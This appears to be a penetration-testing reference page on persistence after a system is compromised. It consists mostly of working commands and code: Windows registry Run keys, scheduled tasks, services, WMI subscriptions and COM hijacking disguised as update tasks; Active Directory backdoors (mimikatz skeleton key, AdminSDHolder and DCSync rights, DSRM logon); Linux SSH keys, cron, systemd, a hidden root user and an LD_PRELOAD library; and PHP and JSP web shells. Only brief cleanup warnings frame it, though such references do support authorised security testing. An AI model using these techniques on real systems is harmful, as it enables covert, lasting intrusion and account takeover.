Persistence Techniques
Persistence ensures continued access to compromised systems across reboots, user logouts, and credential changes. Choose techniques based on stealth requirements and detection risk.
Warning
Document all persistence mechanisms for cleanup. Persistence can trigger alerts
and leave forensic artifacts - balance coverage with stealth.
Windows User-Level Persistence
Registry Run Keys
powershell
# HKCU Run Keys (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\payload.exe"
# PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"
# Other Run locations
# HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run (requires admin)
# HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceStartup Folder
powershell
# User startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# All users startup (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# Create shortcut
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk")
$Shortcut.TargetPath = "C:\Users\Public\payload.exe"
$Shortcut.Save()Scheduled Tasks (User)
powershell
# Create scheduled task
schtasks /create /tn "OneDrive Update" /tr "C:\Users\Public\payload.exe" /sc onlogon
# PowerShell scheduled task
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDrive Update" -Action $Action -Trigger $Trigger
# Daily trigger
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -TaskName "Maintenance" -Action $Action -Trigger $TriggerWindows System-Level Persistence
Windows Services
powershell
# Create service
sc create "Windows Update Service" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
# Modify existing service
sc config servicename binpath= "C:\malicious.exe"
# PowerShell
New-Service -Name "WinUpdate" -BinaryPathName "C:\Windows\payload.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WinUpdate"WMI Event Subscription
Information
WMI persistence survives reboots and is harder to detect than registry keys.
Requires admin privileges.
powershell
# Create WMI Event Filter
$FilterArgs = @{
Name = 'WinUpdate'
EventNameSpace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
# Create Consumer (execute payload)
$ConsumerArgs = @{
Name = 'WinUpdate'
CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# Bind Filter to Consumer
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgsDLL Search Order Hijacking
powershell
# Find vulnerable applications
# Applications that load DLLs from writable paths
# Use Process Monitor to find:
# 1. NAME NOT FOUND results for DLL loads
# 2. Check if path is writable
# Common targets:
# - Software update utilities
# - Third-party applications
# - Custom enterprise applications
# Place malicious DLL in writable PATH location
# or application directoryCOM Object Hijacking
powershell
# Find COM objects loaded by explorer
# HKCU\Software\Classes\CLSID\
# Example: Hijack a scheduled task COM handler
$CLSID = "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path $CLSID -Force
New-Item -Path "$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "$CLSID\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"Active Directory Persistence
Skeleton Key
text
# Inject skeleton key into LSASS (patch DC memory)
# Default password: "mimikatz"
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now authenticate to any account with "mimikatz"
# Requires DC restart to remove
# Does NOT persist across rebootsAdminSDHolder Abuse
powershell
# AdminSDHolder is applied to protected groups every 60 min
# Add ACE to AdminSDHolder, propagates to protected accounts
# PowerShell - Add user to AdminSDHolder
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$ACL = Get-Acl $AdminSDHolder
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"GenericAll",
"Allow"
)
$ACL.AddAccessRule($ACE)
Set-Acl $AdminSDHolder $ACL
# Protected groups: Domain Admins, Enterprise Admins, Schema Admins, etc.DSRM Backdoor
powershell
# Enable DSRM account for network logon
# Directory Services Restore Mode password set during DC promotion
# Check DSRM registry
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior
# Enable network logon (requires admin on DC)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
# Now can use DSRM password for:
# Administrator@dc01 (local admin, not domain)
sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASHSecurity Descriptor Modification
powershell
# Add DCSync rights to user
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
# Get domain root
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName
# Grant DCSync rights (Replicating Directory Changes + All)
$ACL = Get-Acl "AD:\$DomainDN"
$ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes
)
$ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$ACL.AddAccessRule($ACE1)
$ACL.AddAccessRule($ACE2)
Set-Acl "AD:\$DomainDN" $ACLLinux Persistence
SSH Keys
bash
# Add SSH key to root
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Add to all users
for user in $(ls /home/); do
mkdir -p /home/$user/.ssh
echo "ssh-rsa AAAA..." >> /home/$user/.ssh/authorized_keys
chown -R $user:$user /home/$user/.ssh
doneCron Jobs
bash
# Root crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/beacon.sh") | crontab -
# System cron
echo "*/5 * * * * root /tmp/beacon.sh" >> /etc/crontab
# Cron directories
echo '#!/bin/bash
/tmp/beacon.sh' > /etc/cron.daily/update
chmod +x /etc/cron.daily/updateSystemd Service
bash
# Create service file
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/opt/beacon
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.serviceBackdoor User
bash
# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadmin
echo "sysadmin:P@ssw0rd123" | chpasswd
# Hide from /etc/passwd (add to bottom, some parsers stop early)
# Or use uid > 65000 to hide from some toolsLD_PRELOAD Hijacking
bash
# Create malicious shared library
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
void _init() {
system("/tmp/beacon.sh");
}
EOF
gcc -shared -fPIC -nostartfiles -o /usr/local/lib/libevil.so /tmp/evil.c
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preloadWeb Server Persistence
Web Shells
text
# PHP webshell
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); } ?>
# ASP.NET webshell - see documentation for full syntax
# Uses Page_Load handler with Request["cmd"] parameter
# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Detection & Cleanup
Document Everything
text
# Track all persistence mechanisms
| Technique | Location | Cleanup Command |
|--------------------|---------------------------------------|-----------------|
| Registry Run Key | HKCU\...\Run\Update | reg delete ... |
| Scheduled Task | OneDrive Update | schtasks /delete|
| Service | WinUpdate | sc delete ... |
| WMI Subscription | WinUpdate | Remove-WMI... |
| SSH Key | /root/.ssh/authorized_keys | Remove line |
| Cron Job | /etc/cron.daily/update | rm file |
| Systemd Service | /etc/systemd/system/update.service | systemctl stop |Danger
Always clean up persistence at the end of an engagement. Leaving backdoors
creates security risks and potential legal liability.